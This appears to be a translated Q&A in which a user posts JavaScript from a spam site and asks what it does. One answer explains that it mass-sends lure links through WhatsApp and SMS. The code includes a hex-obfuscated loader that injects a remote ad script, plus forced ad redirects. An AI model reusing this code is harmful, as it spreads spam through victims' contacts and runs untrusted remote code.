javascript - 恶意网站: decyphering the code?

Question

这是一个恶意网站，试图向人们发送垃圾邮件以进一步传播其网站，这也会导致广告 - 我建议启用 noscript。
http://trucchiios.com/emoticon/index_en.php
现在我这里有当你按下大的 Whatsapp 按钮时执行的代码，但它有什么作用呢？

c = 0;
var image;

function fn1(x)
{
    if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) {
        // some code..
        ++c;
        if (c <= 6)
        {
            window.open("whatsapp://send?text=Check out the new WhatsApp animated emoticons :P %0D%0AYou’re going to burst out laughing!%0D%0A http://xy7.co/emoticon %0D%0A %0D%0A %0D%0A %0D%0A15/11/15 : 17:44:07", "_self");
            if (c == 2) {
                ga('send', 'event', 'WhatsApp', '1+ share', 'Emoticon EN');
            } else if (c == 4) {
                ga('send', 'event', 'WhatsApp', '3+ shares', 'Emoticon EN');
            }
        } else if (c <= 10) {
            window.open("whatsapp://send?text=Check out the new WhatsApp animated emoticons :P %0D%0AYou’re going to burst out laughing!%0D%0A http://xy7.co/emoticon %0D%0A %0D%0A %0D%0A %0D%0A15/11/15 : 17:44:07", "_self");
            if (c == 7) {
                ga('send', 'event', 'WhatsApp', 'more than 7 shares', 'Emoticon EN');
            }
            var head = document.getElementsByTagName('head').item(0);
            var _0xc631 = ["\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x74\x79\x70\x65", "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x73\x72\x63", "\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x73\x2E\x73\x70\x72\x69\x6E\x74\x72\x61\x64\x65\x2E\x63\x6F\x6D\x2F\x61\x64\x73\x63\x72\x69\x70\x74\x2E\x70\x68\x70\x3F\x70\x69\x64\x3D\x38\x36\x37\x33\x26\x6F\x72\x64\x3D\x5B\x74\x69\x6D\x65\x73\x74\x61\x6D\x70\x5D", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];
            var script = document[_0xc631[1]](_0xc631[0]);
            script[_0xc631[2]] = _0xc631[3];
            script[_0xc631[4]] = _0xc631[5];
            head[_0xc631[6]](script);
        } else
            window.open("http://ads.sprintrade.com/adframe.php?pid=12649")
    } else {
        window.alert("Please invite via your mobile browser");
    }
}

function fn3(x) {
    if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) {
        // some code..
        ++c;
        if (c <= 10) {
            window.open("sms:?body=Check out the new WhatsApp animated emoticons :P %0D%0AYou’re going to burst out laughing!%0D%0A http://xy7.co/emoticon %0D%0A %0D%0A %0D%0A %0D%0A15/11/15 : 17:44:07", "_self");
        } else
            window.open("http://ads.sprintrade.com/adframe.php?pid=12649")
    } else {
        window.alert("Please invite via your mobile browser");
    }
}

function fn2(x) {
    if (c >= 10)
    {
        window.open("http://ads.sprintrade.com/adframe.php?pid=12649")
    } else
    {
        window.alert("To activate the new emoticons you have to invite at least 10 contacts. 10 friends or 3 groups. So far you've only invited  " + c + " contacts.");
    }
}
var n = 300,
    t = setInterval(function() {
        $("#countdown").text(n--), -1 == n && window.open("http://ads.sprintrade.com/adframe.php?pid=12649", "_self") & clearInterval(t)
    }, 1e3);

我只是希望有人告诉我它的作用。我怀疑这只是广告垃圾邮件，而不是真正的恶意软件，但请检查一下。

Answer 1

看来该代码是上周收到的垃圾邮件数量不断增加的原因。我非常确定此代码正在使用 Whatsapp 网络发送指向恶意网站的链接:

window.open("whatsapp://send?text=Check out the new WhatsApp animated emoticons :P [...]", "_self");

如果使用移动设备，

if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) {

还尝试发送短信:

"sms:?body=Check out the new WhatsApp animated emoticons :P [...]", "_self");

执行此代码时会加载一些其他附加软件站点。这段代码似乎执行了一些其他任务，但很难知道。该脚本是使用 Javascript 编写的。